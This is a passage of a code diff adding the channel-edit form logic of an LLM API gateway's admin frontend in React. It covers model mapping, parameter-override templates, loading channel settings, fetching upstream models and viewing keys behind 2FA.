+  const [modalImageUrl, setModalImageUrl] = useState('');
+  const [isModalOpenurl, setIsModalOpenurl] = useState(false);
+  const [modelModalVisible, setModelModalVisible] = useState(false);
+  const [fetchedModels, setFetchedModels] = useState([]);
+  const [modelMappingValueModalVisible, setModelMappingValueModalVisible] =
+    useState(false);
+  const [modelMappingValueModalModels, setModelMappingValueModalModels] =
+    useState([]);
+  const [modelMappingValueKey, setModelMappingValueKey] = useState('');
+  const [modelMappingValueSelected, setModelMappingValueSelected] =
+    useState('');
+  const [ollamaModalVisible, setOllamaModalVisible] = useState(false);
+  const formApiRef = useRef(null);
+  const [vertexKeys, setVertexKeys] = useState([]);
+  const [vertexFileList, setVertexFileList] = useState([]);
+  const vertexErroredNames = useRef(new Set()); // 避免重复报错
+  const [isMultiKeyChannel, setIsMultiKeyChannel] = useState(false);
+  const [channelSearchValue, setChannelSearchValue] = useState('');
+  const [useManualInput, setUseManualInput] = useState(false); // 是否使用手动输入模式
+  const [keyMode, setKeyMode] = useState('append'); // 密钥模式：replace（覆盖）或 append（追加）
+  const [isEnterpriseAccount, setIsEnterpriseAccount] = useState(false); // 是否为企业账户
+  const [doubaoApiEditUnlocked, setDoubaoApiEditUnlocked] = useState(false); // 豆包渠道自定义 API 地址隐藏入口
+  const redirectModelList = useMemo(() => {
+    const mapping = inputs.model_mapping;
+    if (typeof mapping !== 'string') return [];
+    const trimmed = mapping.trim();
+    if (!trimmed) return [];
+    try {
+      const parsed = JSON.parse(trimmed);
+      if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+        return [];
+      }
+      const values = Object.values(parsed)
+        .map((value) => (typeof value === 'string' ? value.trim() : undefined))
+        .filter((value) => value);
+      return Array.from(new Set(values));
+    } catch (error) {
+      return [];
+    }
+  }, [inputs.model_mapping]);
+  const redirectModelKeyList = useMemo(() => {
+    const mapping = inputs.model_mapping;
+    if (typeof mapping !== 'string') return [];
+    const trimmed = mapping.trim();
+    if (!trimmed) return [];
+    try {
+      const parsed = JSON.parse(trimmed);
+      if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+        return [];
+      }
+      const keys = Object.keys(parsed)
+        .map((key) => key.trim())
+        .filter((key) => key);
+      return Array.from(new Set(keys));
+    } catch (error) {
+      return [];
+    }
+  }, [inputs.model_mapping]);
+  const upstreamDetectedModels = useMemo(
+    () =>
+      Array.from(
+        new Set(
+          (inputs.upstream_model_update_last_detected_models || [])
+            .map((model) => String(model || '').trim())
+            .filter(Boolean),
+        ),
+      ),
+    [inputs.upstream_model_update_last_detected_models],
+  );
+  const upstreamDetectedModelsPreview = useMemo(
+    () => upstreamDetectedModels.slice(0, UPSTREAM_DETECTED_MODEL_PREVIEW_LIMIT),
+    [upstreamDetectedModels],
+  );
+  const upstreamDetectedModelsOmittedCount =
+    upstreamDetectedModels.length - upstreamDetectedModelsPreview.length;
+  const modelSearchMatchedCount = useMemo(() => {
+    const keyword = modelSearchValue.trim();
+    if (!keyword) {
+      return modelOptions.length;
+    }
+    return modelOptions.reduce(
+      (count, option) => count + (selectFilter(keyword, option) ? 1 : 0),
+      0,
+    );
+  }, [modelOptions, modelSearchValue]);
+  const modelSearchHintText = useMemo(() => {
+    const keyword = modelSearchValue.trim();
+    if (!keyword || modelSearchMatchedCount !== 0) {
+      return '';
+    }
+    return t('未匹配到模型，按回车键可将「{{name}}」作为自定义模型名添加', {
+      name: keyword,
+    });
+  }, [modelSearchMatchedCount, modelSearchValue, t]);
+  const paramOverrideMeta = useMemo(() => {
+    const raw =
+      typeof inputs.param_override === 'string'
+        ? inputs.param_override.trim()
+        : '';
+    if (!raw) {
+      return {
+        tagLabel: t('不更改'),
+        tagColor: 'grey',
+        preview: t(
+          '此项可选，用于覆盖请求参数。不支持覆盖 stream 参数',
+        ),
+      };
+    }
+    if (!verifyJSON(raw)) {
+      return {
+        tagLabel: t('JSON格式错误'),
+        tagColor: 'red',
+        preview: raw,
+      };
+    }
+    try {
+      const parsed = JSON.parse(raw);
+      const pretty = JSON.stringify(parsed, null, 2);
+      if (
+        parsed &&
+        typeof parsed === 'object' &&
+        !Array.isArray(parsed) &&
+        Array.isArray(parsed.operations)
+      ) {
+        return {
+          tagLabel: `${t('新格式模板')} (${parsed.operations.length})`,
+          tagColor: 'cyan',
+          preview: pretty,
+        };
+      }
+      if (parsed && typeof parsed === 'object' && !Array.isArray(parsed)) {
+        return {
+          tagLabel: `${t('旧格式模板')} (${Object.keys(parsed).length})`,
+          tagColor: 'blue',
+          preview: pretty,
+        };
+      }
+      return {
+        tagLabel: t('自定义 JSON'),
+        tagColor: 'orange',
+        preview: pretty,
+      };
+    } catch (error) {
+      return {
+        tagLabel: t('JSON格式错误'),
+        tagColor: 'red',
+        preview: raw,
+      };
+    }
+  }, [inputs.param_override, t]);
+  const [isIonetChannel, setIsIonetChannel] = useState(false);
+  const [ionetMetadata, setIonetMetadata] = useState(null);
+  const [codexOAuthModalVisible, setCodexOAuthModalVisible] = useState(false);
+  const [codexCredentialRefreshing, setCodexCredentialRefreshing] =
+    useState(false);
+  const [paramOverrideEditorVisible, setParamOverrideEditorVisible] =
+    useState(false);
+
+  // 密钥显示状态
+  const [keyDisplayState, setKeyDisplayState] = useState({
+    showModal: false,
+    keyData: '',
+  });
+
+  // 专门的2FA验证状态（用于TwoFactorAuthModal）
+  const [show2FAVerifyModal, setShow2FAVerifyModal] = useState(false);
+  const [verifyCode, setVerifyCode] = useState('');
+
+  useEffect(() => {
+    if (!isEdit) {
+      setIsIonetChannel(false);
+      setIonetMetadata(null);
+    }
+  }, [isEdit]);
+
+  const handleOpenIonetDeployment = () => {
+    if (!ionetMetadata?.deployment_id) {
+      return;
+    }
+    const targetUrl = `/console/deployment?deployment_id=${ionetMetadata.deployment_id}`;
+    window.open(targetUrl, '_blank', 'noopener');
+  };
+  const [verifyLoading, setVerifyLoading] = useState(false);
+  const statusCodeRiskConfirmResolverRef = useRef(null);
+  const [statusCodeRiskConfirmVisible, setStatusCodeRiskConfirmVisible] =
+    useState(false);
+  const [statusCodeRiskDetailItems, setStatusCodeRiskDetailItems] = useState(
+    [],
+  );
+
+  // 剪贴板连接信息自动检测
+  const [clipboardConfig, setClipboardConfig] = useState(null);
+
+  // 高级设置折叠状态
+  const [advancedSettingsOpen, setAdvancedSettingsOpen] = useState(false);
+  const toggleAdvancedSettings = (open) => {
+    setAdvancedSettingsOpen(open);
+    localStorage.setItem(ADVANCED_SETTINGS_EXPANDED_KEY, String(open));
+  };
+  const formContainerRef = useRef(null);
+  const doubaoApiClickCountRef = useRef(0);
+  const initialBaseUrlRef = useRef('');
+  const initialModelsRef = useRef([]);
+  const initialModelMappingRef = useRef('');
+  const initialStatusCodeMappingRef = useRef('');
+  const doubaoCodingPlanDeprecationMessage =
+    'Doubao Coding Plan 不再允许新增。根据火山方舟文档，Coding 套餐额度仅适用于 AI Coding 产品内调用，不适用于单独 API 调用；在非 AI Coding 产品中使用对应的 Base URL 和 API Key 可能被视为违规，并可能导致订阅停用或账号封禁。';
+  const canKeepDeprecatedDoubaoCodingPlan =
+    initialBaseUrlRef.current === DEPRECATED_DOUBAO_CODING_PLAN_BASE_URL;
+  const doubaoCodingPlanOptionLabel = (
+    <Tooltip content={doubaoCodingPlanDeprecationMessage} position='left'>
+      <span className='inline-flex items-center gap-2'>
+        <span>Doubao Coding Plan</span>
+      </span>
+    </Tooltip>
+  );
+
+  // 2FA状态更新辅助函数
+  const updateTwoFAState = (updates) => {
+    setTwoFAState((prev) => ({ ...prev, ...updates }));
+  };
+  // 使用通用安全验证 Hook
+  const {
+    isModalVisible,
+    verificationMethods,
+    verificationState,
+    withVerification,
+    executeVerification,
+    cancelVerification,
+    setVerificationCode,
+    switchVerificationMethod,
+  } = useSecureVerification({
+    onSuccess: (result) => {
+      // 验证成功后显示密钥
+      console.log('Verification success, result:', result);
+      if (result && result.success && result.data?.key) {
+        showSuccess(t('密钥获取成功'));
+        setKeyDisplayState({
+          showModal: true,
+          keyData: result.data.key,
+        });
+      } else if (result && result.key) {
+        // 直接返回了 key（没有包装在 data 中）
+        showSuccess(t('密钥获取成功'));
+        setKeyDisplayState({
+          showModal: true,
+          keyData: result.key,
+        });
+      }
+    },
+  });
+
+  // 重置密钥显示状态
+  const resetKeyDisplayState = () => {
+    setKeyDisplayState({
+      showModal: false,
+      keyData: '',
+    });
+  };
+
+  // 重置2FA验证状态
+  const reset2FAVerifyState = () => {
+    setShow2FAVerifyModal(false);
+    setVerifyCode('');
+    setVerifyLoading(false);
+  };
+
+  const handleApiConfigSecretClick = () => {
+    if (inputs.type !== 45) return;
+    const next = doubaoApiClickCountRef.current + 1;
+    doubaoApiClickCountRef.current = next;
+    if (next >= 10) {
+      setDoubaoApiEditUnlocked((unlocked) => {
+        if (!unlocked) {
+          showInfo(t('已解锁豆包自定义 API 地址编辑'));
+        }
+        return true;
+      });
+    }
+  };
+
+  // 渠道额外设置状态
+  const [channelSettings, setChannelSettings] = useState({
+    force_format: false,
+    thinking_to_content: false,
+    proxy: '',
+    pass_through_body_enabled: false,
+    system_prompt: '',
+  });
+  const showApiConfigCard = true; // 控制是否显示 API 配置卡片
+  const getInitValues = () => ({ ...originInputs });
+
+  // 处理渠道额外设置的更新
+  const handleChannelSettingsChange = (key, value) => {
+    // 更新内部状态
+    setChannelSettings((prev) => ({ ...prev, [key]: value }));
+
+    // 同步更新到表单字段
+    if (formApiRef.current) {
+      formApiRef.current.setValue(key, value);
+    }
+
+    // 同步更新inputs状态
+    setInputs((prev) => ({ ...prev, [key]: value }));
+
+    // 生成setting JSON并更新
+    const newSettings = { ...channelSettings, [key]: value };
+    const settingsJson = JSON.stringify(newSettings);
+    handleInputChange('setting', settingsJson);
+  };
+
+  const handleChannelOtherSettingsChange = (key, value) => {
+    // 更新内部状态
+    setChannelSettings((prev) => ({ ...prev, [key]: value }));
+
+    // 同步更新到表单字段
+    if (formApiRef.current) {
+      formApiRef.current.setValue(key, value);
+    }
+
+    // 同步更新inputs状态
+    setInputs((prev) => ({ ...prev, [key]: value }));
+
+    // 需要更新settings，是一个json，例如{"azure_responses_version": "preview"}
+    let settings = {};
+    if (inputs.settings) {
+      try {
+        settings = JSON.parse(inputs.settings);
+      } catch (error) {
+        console.error('解析设置失败:', error);
+      }
+    }
+    settings[key] = value;
+    const settingsJson = JSON.stringify(settings);
+    handleInputChange('settings', settingsJson);
+  };
+
+  const applyClipboardConfig = (config) => {
+    if (!config) return;
+    setInputs((prev) => ({
+      ...prev,
+      key: config.key,
+      base_url: config.url,
+    }));
+    if (formApiRef.current) {
+      formApiRef.current.setValue('key', config.key);
+      formApiRef.current.setValue('base_url', config.url);
+    }
+    setClipboardConfig(null);
+    showSuccess(t('连接信息已填入'));
+  };
+
+  const pasteFromClipboard = async () => {
+    if (!navigator?.clipboard?.readText) {
+      showError(t('无法读取剪贴板'));
+      return;
+    }
+    try {
+      const text = await navigator.clipboard.readText();
+      const parsed = parseChannelConnectionString(text);
+      if (parsed) {
+        applyClipboardConfig(parsed);
+      } else {
+        showInfo(t('剪贴板中未检测到连接信息'));
+      }
+    } catch {
+      showError(t('无法读取剪贴板'));
+    }
+  };
+
+  const isIonetLocked = isIonetChannel && isEdit;
+
+  const handleInputChange = (name, value) => {
+    if (
+      isIonetChannel &&
+      isEdit &&
+      ['type', 'key', 'base_url'].includes(name)
+    ) {
+      return;
+    }
+    if (formApiRef.current) {
+      formApiRef.current.setValue(name, value);
+    }
+    if (name === 'models' && Array.isArray(value)) {
+      value = Array.from(new Set(value.map((m) => (m || '').trim())));
+    }
+
+    if (name === 'base_url' && value.endsWith('/v1')) {
+      Modal.confirm({
+        title: '警告',
+        content:
+          '不需要在末尾加/v1，New API会自动处理，添加后可能导致请求失败，是否继续？',
+        onOk: () => {
+          setInputs((inputs) => ({ ...inputs, [name]: value }));
+        },
+      });
+      return;
+    }
+    setInputs((inputs) => ({ ...inputs, [name]: value }));
+    if (name === 'type') {
+      let localModels = [];
+      switch (value) {
+        case 2:
+          localModels = [
+            'mj_imagine',
+            'mj_variation',
+            'mj_reroll',
+            'mj_blend',
+            'mj_upscale',
+            'mj_describe',
+            'mj_uploads',
+          ];
+          break;
+        case 5:
+          localModels = [
+            'swap_face',
+            'mj_imagine',
+            'mj_video',
+            'mj_edits',
+            'mj_variation',
+            'mj_reroll',
+            'mj_blend',
+            'mj_upscale',
+            'mj_describe',
+            'mj_zoom',
+            'mj_shorten',
+            'mj_modal',
+            'mj_inpaint',
+            'mj_custom_zoom',
+            'mj_high_variation',
+            'mj_low_variation',
+            'mj_pan',
+            'mj_uploads',
+          ];
+          break;
+        case 36:
+          localModels = ['suno_music', 'suno_lyrics'];
+          break;
+        case 45:
+          localModels = getChannelModels(value);
+          setInputs((prevInputs) => ({
+            ...prevInputs,
+            base_url: 'https://ark.cn-beijing.volces.com',
+          }));
+          break;
+        default:
+          localModels = getChannelModels(value);
+          break;
+      }
+      if (inputs.models.length === 0) {
+        setInputs((inputs) => ({ ...inputs, models: localModels }));
+      }
+      setBasicModels(localModels);
+
+      // 重置手动输入模式状态
+      setUseManualInput(false);
+
+      if (value === 57) {
+        setBatch(false);
+        setMultiToSingle(false);
+        setMultiKeyMode('random');
+        setVertexKeys([]);
+        setVertexFileList([]);
+        if (formApiRef.current) {
+          formApiRef.current.setValue('vertex_files', []);
+        }
+        setInputs((prev) => ({ ...prev, vertex_files: [] }));
+      }
+    }
+    //setAutoBan
+  };
+
+  const formatJsonField = (fieldName) => {
+    const rawValue = (inputs?.[fieldName] ?? '').trim();
+    if (!rawValue) return;
+
+    try {
+      const parsed = JSON.parse(rawValue);
+      handleInputChange(fieldName, JSON.stringify(parsed, null, 2));
+    } catch (error) {
+      showError(`${t('JSON格式错误')}: ${error.message}`);
+    }
+  };
+
+  const formatUnixTime = (timestamp) => {
+    const value = Number(timestamp || 0);
+    if (!value) {
+      return t('暂无');
+    }
+    return new Date(value * 1000).toLocaleString();
+  };
+
+  const copyParamOverrideJson = async () => {
+    const raw =
+      typeof inputs.param_override === 'string'
+        ? inputs.param_override.trim()
+        : '';
+    if (!raw) {
+      showInfo(t('暂无可复制 JSON'));
+      return;
+    }
+
+    let content = raw;
+    if (verifyJSON(raw)) {
+      try {
+        content = JSON.stringify(JSON.parse(raw), null, 2);
+      } catch (error) {
+        content = raw;
+      }
+    }
+
+    const ok = await copy(content);
+    if (ok) {
+      showSuccess(t('参数覆盖 JSON 已复制'));
+    } else {
+      showError(t('复制失败'));
+    }
+  };
+
+  const parseParamOverrideInput = () => {
+    const raw =
+      typeof inputs.param_override === 'string'
+        ? inputs.param_override.trim()
+        : '';
+    if (!raw) return null;
+    if (!verifyJSON(raw)) {
+      throw new Error(t('当前参数覆盖不是合法的 JSON'));
+    }
+    return JSON.parse(raw);
+  };
+
+  const applyParamOverrideTemplate = (
+    templateType = 'operations',
+    applyMode = 'fill',
+  ) => {
+    try {
+      const parsedCurrent = parseParamOverrideInput();
+      if (templateType === 'legacy') {
+        if (applyMode === 'fill') {
+          handleInputChange(
+            'param_override',
+            JSON.stringify(PARAM_OVERRIDE_LEGACY_TEMPLATE, null, 2),
+          );
+          return;
+        }
+        const currentLegacy =
+          parsedCurrent &&
+          typeof parsedCurrent === 'object' &&
+          !Array.isArray(parsedCurrent) &&
+          !Array.isArray(parsedCurrent.operations)
+            ? parsedCurrent
+            : {};
+        const merged = {
+          ...PARAM_OVERRIDE_LEGACY_TEMPLATE,
+          ...currentLegacy,
+        };
+        handleInputChange('param_override', JSON.stringify(merged, null, 2));
+        return;
+      }
+
+      if (applyMode === 'fill') {
+        handleInputChange(
+          'param_override',
+          JSON.stringify(PARAM_OVERRIDE_OPERATIONS_TEMPLATE, null, 2),
+        );
+        return;
+      }
+      const currentOperations =
+        parsedCurrent &&
+        typeof parsedCurrent === 'object' &&
+        !Array.isArray(parsedCurrent) &&
+        Array.isArray(parsedCurrent.operations)
+          ? parsedCurrent.operations
+          : [];
+      const merged = {
+        operations: [
+          ...currentOperations,
+          ...PARAM_OVERRIDE_OPERATIONS_TEMPLATE.operations,
+        ],
+      };
+      handleInputChange('param_override', JSON.stringify(merged, null, 2));
+    } catch (error) {
+      showError(error.message || t('模板应用失败'));
+    }
+  };
+
+  const clearParamOverride = () => {
+    handleInputChange('param_override', '');
+  };
+
+  const loadChannel = async () => {
+    setLoading(true);
+    let res = await API.get(`/api/channel/${channelId}`);
+    if (res === undefined) {
+      return;
+    }
+    const { success, message, data } = res.data;
+    if (success) {
+      if (data.models === '') {
+        data.models = [];
+      } else {
+        data.models = data.models.split(',');
+      }
+      if (data.group === '') {
+        data.groups = [];
+      } else {
+        data.groups = data.group.split(',');
+      }
+      if (data.model_mapping !== '') {
+        data.model_mapping = JSON.stringify(
+          JSON.parse(data.model_mapping),
+          null,
+          2,
+        );
+      }
+      const chInfo = data.channel_info || {};
+      const isMulti = chInfo.is_multi_key === true;
+      setIsMultiKeyChannel(isMulti);
+      if (isMulti) {
+        setBatch(true);
+        setMultiToSingle(true);
+        const modeVal = chInfo.multi_key_mode || 'random';
+        setMultiKeyMode(modeVal);
+        data.multi_key_mode = modeVal;
+      } else {
+        setBatch(false);
+        setMultiToSingle(false);
+      }
+      // 解析渠道额外设置并合并到data中
+      if (data.setting) {
+        try {
+          const parsedSettings = JSON.parse(data.setting);
+          data.force_format = parsedSettings.force_format || false;
+          data.thinking_to_content =
+            parsedSettings.thinking_to_content || false;
+          data.proxy = parsedSettings.proxy || '';
+          data.pass_through_body_enabled =
+            parsedSettings.pass_through_body_enabled || false;
+          data.system_prompt = parsedSettings.system_prompt || '';
+          data.system_prompt_override =
+            parsedSettings.system_prompt_override || false;
+        } catch (error) {
+          console.error('解析渠道设置失败:', error);
+          data.force_format = false;
+          data.thinking_to_content = false;
+          data.proxy = '';
+          data.pass_through_body_enabled = false;
+          data.system_prompt = '';
+          data.system_prompt_override = false;
+        }
+      } else {
+        data.force_format = false;
+        data.thinking_to_content = false;
+        data.proxy = '';
+        data.pass_through_body_enabled = false;
+        data.system_prompt = '';
+        data.system_prompt_override = false;
+      }
+
+      if (data.settings) {
+        try {
+          const parsedSettings = JSON.parse(data.settings);
+          data.azure_responses_version =
+            parsedSettings.azure_responses_version || '';
+          // 读取 Vertex 密钥格式
+          data.vertex_key_type = parsedSettings.vertex_key_type || 'json';
+          // 读取 AWS 密钥格式和区域
+          data.aws_key_type = parsedSettings.aws_key_type || 'ak_sk';
+          // 读取企业账户设置
+          data.is_enterprise_account =
+            parsedSettings.openrouter_enterprise === true;
+          // 读取字段透传控制设置
+          data.allow_service_tier = parsedSettings.allow_service_tier || false;
+          data.disable_store = parsedSettings.disable_store || false;
+          data.allow_safety_identifier =
+            parsedSettings.allow_safety_identifier || false;
+          data.allow_include_obfuscation =
+            parsedSettings.allow_include_obfuscation || false;
+          data.allow_inference_geo =
+            parsedSettings.allow_inference_geo || false;
+          data.allow_speed = parsedSettings.allow_speed || false;
+          data.claude_beta_query = parsedSettings.claude_beta_query || false;
+          data.upstream_model_update_check_enabled =
+            parsedSettings.upstream_model_update_check_enabled === true;
+          data.upstream_model_update_auto_sync_enabled =
+            parsedSettings.upstream_model_update_auto_sync_enabled === true;
+          data.upstream_model_update_last_check_time =
+            Number(parsedSettings.upstream_model_update_last_check_time) || 0;
+          data.upstream_model_update_last_detected_models = Array.isArray(
+            parsedSettings.upstream_model_update_last_detected_models,
+          )
+            ? parsedSettings.upstream_model_update_last_detected_models
+            : [];
+          data.upstream_model_update_ignored_models = Array.isArray(
+            parsedSettings.upstream_model_update_ignored_models,
+          )
+            ? parsedSettings.upstream_model_update_ignored_models.join(',')
+            : '';
+        } catch (error) {
+          console.error('解析其他设置失败:', error);
+          data.azure_responses_version = '';
+          data.region = '';
+          data.vertex_key_type = 'json';
+          data.aws_key_type = 'ak_sk';
+          data.is_enterprise_account = false;
+          data.allow_service_tier = false;
+          data.disable_store = false;
+          data.allow_safety_identifier = false;
+          data.allow_include_obfuscation = false;
+          data.allow_inference_geo = false;
+          data.allow_speed = false;
+          data.claude_beta_query = false;
+          data.upstream_model_update_check_enabled = false;
+          data.upstream_model_update_auto_sync_enabled = false;
+          data.upstream_model_update_last_check_time = 0;
+          data.upstream_model_update_last_detected_models = [];
+          data.upstream_model_update_ignored_models = '';
+        }
+      } else {
+        // 兼容历史数据：老渠道没有 settings 时，默认按 json 展示
+        data.vertex_key_type = 'json';
+        data.aws_key_type = 'ak_sk';
+        data.is_enterprise_account = false;
+        data.allow_service_tier = false;
+        data.disable_store = false;
+        data.allow_safety_identifier = false;
+        data.allow_include_obfuscation = false;
+        data.allow_inference_geo = false;
+        data.allow_speed = false;
+        data.claude_beta_query = false;
+        data.upstream_model_update_check_enabled = false;
+        data.upstream_model_update_auto_sync_enabled = false;
+        data.upstream_model_update_last_check_time = 0;
+        data.upstream_model_update_last_detected_models = [];
+        data.upstream_model_update_ignored_models = '';
+      }
+
+      if (
+        data.type === 45 &&
+        (!data.base_url ||
+          (typeof data.base_url === 'string' && data.base_url.trim() === ''))
+      ) {
+        data.base_url = 'https://ark.cn-beijing.volces.com';
+      }
+
+      initialBaseUrlRef.current = data.base_url || '';
+      setInputs(data);
+      if (formApiRef.current) {
+        formApiRef.current.setValues(data);
+      }
+      if (data.auto_ban === 0) {
+        setAutoBan(false);
+      } else {
+        setAutoBan(true);
+      }
+      // 同步企业账户状态
+      setIsEnterpriseAccount(data.is_enterprise_account || false);
+      setBasicModels(getChannelModels(data.type));
+      // 同步更新channelSettings状态显示
+      setChannelSettings({
+        force_format: data.force_format,
+        thinking_to_content: data.thinking_to_content,
+        proxy: data.proxy,
+        pass_through_body_enabled: data.pass_through_body_enabled,
+        system_prompt: data.system_prompt,
+        system_prompt_override: data.system_prompt_override || false,
+      });
+      initialModelsRef.current = (data.models || [])
+        .map((model) => (model || '').trim())
+        .filter(Boolean);
+      initialModelMappingRef.current = data.model_mapping || '';
+      initialStatusCodeMappingRef.current = data.status_code_mapping || '';
+
+      let parsedIonet = null;
+      if (data.other_info) {
+        try {
+          const maybeMeta = JSON.parse(data.other_info);
+          if (
+            maybeMeta &&
+            typeof maybeMeta === 'object' &&
+            maybeMeta.source === 'ionet'
+          ) {
+            parsedIonet = maybeMeta;
+          }
+        } catch (error) {
+          // ignore parse error
+        }
+      }
+      const managedByIonet = !!parsedIonet;
+      setIsIonetChannel(managedByIonet);
+      setIonetMetadata(parsedIonet);
+
+      // Smart expand: auto-open advanced settings if any advanced field has a value
+      const hasAdvancedValues =
+        (data.model_mapping && data.model_mapping.trim()) ||
+        (data.param_override && data.param_override.trim()) ||
+        (data.status_code_mapping && data.status_code_mapping.trim()) ||
+        (data.header_override && data.header_override.trim()) ||
+        (data.tag && data.tag.trim()) ||
+        (data.remark && data.remark.trim()) ||
+        (data.priority && data.priority !== 0) ||
+        (data.weight && data.weight !== 0) ||
+        (data.proxy && data.proxy.trim()) ||
+        (data.system_prompt && data.system_prompt.trim()) ||
+        data.thinking_to_content ||
+        data.pass_through_body_enabled ||
+        data.force_format ||
+        data.claude_beta_query ||
+        data.system_prompt_override;
+      if (hasAdvancedValues) {
+        setAdvancedSettingsOpen(true);
+      }
+    } else {
+      showError(message);
+    }
+    setLoading(false);
+  };
+
+  const fetchUpstreamModelList = async (name, options = {}) => {
+    const silent = !!options.silent;
+    // if (inputs['type'] !== 1) {
+    //   showError(t('仅支持 OpenAI 接口格式'));
+    //   return;
+    // }
+    setLoading(true);
+    const models = [];
+    let err = false;
+
+    if (isEdit) {
+      // 如果是编辑模式，使用已有的 channelId 获取模型列表
+      const res = await API.get('/api/channel/fetch_models/' + channelId, {
+        skipErrorHandler: true,
+      });
+      if (res && res.data && res.data.success) {
+        models.push(...res.data.data);
+      } else {
+        err = true;
+      }
+    } else {
+      // 如果是新建模式，通过后端代理获取模型列表
+      if (!inputs?.['key']) {
+        showError(t('请填写密钥'));
+        err = true;
+      } else {
+        try {
+          const res = await API.post(
+            '/api/channel/fetch_models',
+            {
+              base_url: inputs['base_url'],
+              type: inputs['type'],
+              key: inputs['key'],
+            },
+            { skipErrorHandler: true },
+          );
+
+          if (res && res.data && res.data.success) {
+            models.push(...res.data.data);
+          } else {
+            err = true;
+          }
+        } catch (error) {
+          console.error('Error fetching models:', error);
+          err = true;
+        }
+      }
+    }
+
+    if (!err) {
+      const uniqueModels = Array.from(new Set(models));
+      setFetchedModels(uniqueModels);
+      if (!silent) {
+        setModelModalVisible(true);
+      }
+      setLoading(false);
+      return uniqueModels;
+    } else {
+      showError(t('获取模型列表失败'));
+    }
+    setLoading(false);
+    return null;
+  };
+
+  const openModelMappingValueModal = async ({ pairKey, value }) => {
+    const mappingKey = String(pairKey ?? '').trim();
+    if (!mappingKey) return;
+
+    if (!MODEL_FETCHABLE_CHANNEL_TYPES.has(inputs.type)) {
+      return;
+    }
+
+    let modelsToUse = fetchedModels;
+    if (!Array.isArray(modelsToUse) || modelsToUse.length === 0) {
+      const fetched = await fetchUpstreamModelList('models', { silent: true });
+      if (Array.isArray(fetched)) {
+        modelsToUse = fetched;
+      }
+    }
+
+    if (!Array.isArray(modelsToUse) || modelsToUse.length === 0) {
+      showInfo(t('暂无模型'));
+      return;
+    }
+
+    const normalizedModelsToUse = Array.from(
+      new Set(
+        modelsToUse.map((model) => String(model ?? '').trim()).filter(Boolean),
+      ),
+    );
+    const currentValue = String(value ?? '').trim();
+
+    setModelMappingValueModalModels(normalizedModelsToUse);
+    setModelMappingValueKey(mappingKey);
+    setModelMappingValueSelected(
+      normalizedModelsToUse.includes(currentValue) ? currentValue : '',
+    );
+    setModelMappingValueModalVisible(true);
+  };
+
+  const fetchModels = async () => {
+    try {
+      let res = await API.get(`/api/channel/models`);
+      const localModelOptions = res.data.data.map((model) => {
+        const id = (model.id || '').trim();
+        return {
+          key: id,
+          label: id,
+          value: id,
+        };
+      });
+      setOriginModelOptions(localModelOptions);
+      setFullModels(res.data.data.map((model) => model.id));
+      setBasicModels(
+        res.data.data
+          .filter((model) => {
+            return model.id.startsWith('gpt-') || model.id.startsWith('text-');
+          })
+          .map((model) => model.id),
+      );
+    } catch (error) {
+      showError(error.message);
+    }
+  };
+
+  const fetchGroups = async () => {
+    try {
+      let res = await API.get(`/api/group/`);
+      if (res === undefined) {
+        return;
+      }
+      setGroupOptions(
+        res.data.data.map((group) => ({
+          label: group,
+          value: group,
+        })),
+      );
+    } catch (error) {
+      showError(error.message);
+    }
+  };
+
+  const fetchModelGroups = async () => {
+    try {
+      const res = await API.get('/api/prefill_group?type=model');
+      if (res?.data?.success) {
+        setModelGroups(res.data.data || []);
+      }
+    } catch (error) {
+      // ignore
+    }
+  };
+
+  // 查看渠道密钥（透明验证）
+  const handleShow2FAModal = async () => {
+    try {
+      // 使用 withVerification 包装，会自动处理需要验证的情况
+      const result = await withVerification(
+        createApiCalls.viewChannelKey(channelId),
+        {
+          title: t('查看渠道密钥'),
+          description: t('为了保护账户安全，请验证您的身份。'),
+          preferredMethod: 'passkey', // 优先使用 Passkey
+        },
+      );
+
+      // 如果直接返回了结果（已验证），显示密钥
+      if (result && result.success && result.data?.key) {
+        showSuccess(t('密钥获取成功'));
+        setKeyDisplayState({
+          showModal: true,
+          keyData: result.data.key,
+        });
+      }
+    } catch (error) {
+      console.error('Failed to view channel key:', error);
+      showError(error.message || t('获取密钥失败'));
+    }
+  };
+
+  const handleCodexOAuthGenerated = (key) => {
+    handleInputChange('key', key);
+    formatJsonField('key');
+  };
+
+  const handleRefreshCodexCredential = async () => {
+    if (!isEdit) return;
+
+    setCodexCredentialRefreshing(true);
+    try {
+      const res = await API.post(
+        `/api/channel/${channelId}/codex/refresh`,
+        {},
+        { skipErrorHandler: true },
+      );
+      if (!res?.data?.success) {
+        throw new Error(res?.data?.message || 'Failed to refresh credential');
+      }
+      showSuccess(t('凭证已刷新'));
+    } catch (error) {
+      showError(error.message || t('刷新失败'));
+    } finally {
+      setCodexCredentialRefreshing(false);
+    }
+  };
+
+  useEffect(() => {
+    if (inputs.type !== 45) {
+      doubaoApiClickCountRef.current = 0;
+      setDoubaoApiEditUnlocked(false);
+    }
+  }, [inputs.type]);
+
+  useEffect(() => {
+    const modelMap = new Map();
+
+    originModelOptions.forEach((option) => {
+      const v = (option.value || '').trim();
+      if (!modelMap.has(v)) {
+        modelMap.set(v, option);
+      }
+    });
+
+    inputs.models.forEach((model) => {
+      const v = (model || '').trim();
+      if (!modelMap.has(v)) {
+        modelMap.set(v, {
+          key: v,
+          label: v,
+          value: v,
+        });
+      }
+    });
+
+    const categories = getModelCategories(t);
+    const optionsWithIcon = Array.from(modelMap.values()).map((opt) => {
+      const modelName = opt.value;
+      let icon = null;
+      for (const [key, category] of Object.entries(categories)) {
+        if (key !== 'all' && category.filter({ model_name: modelName })) {
+          icon = category.icon;
+          break;
+        }
+      }
+      return {
+        ...opt,
+        label: (
+          <span className='flex items-center gap-1'>
+            {icon}
+            {modelName}
+          </span>
+        ),
+      };
+    });
+
+    setModelOptions(optionsWithIcon);
+  }, [originModelOptions, inputs.models, t]);
+
+  useEffect(() => {
+    fetchModels().then();
+    fetchGroups().then();
+    if (!isEdit) {
+      initialBaseUrlRef.current = '';
+      setInputs(originInputs);
+      if (formApiRef.current) {
+        formApiRef.current.setValues(originInputs);
+      }
+      let localModels = getChannelModels(inputs.type);
+      setBasicModels(localModels);
+      setInputs((inputs) => ({ ...inputs, models: localModels }));
+    }
+  }, [props.editingChannel.id]);
+
+  useEffect(() => {
+    if (formApiRef.current) {
+      formApiRef.current.setValues(inputs);
+    }
+  }, [inputs]);
+
+  useEffect(() => {
+    setModelSearchValue('');
+    if (props.visible) {
+      if (isEdit) {
+        loadChannel();
+      } else {
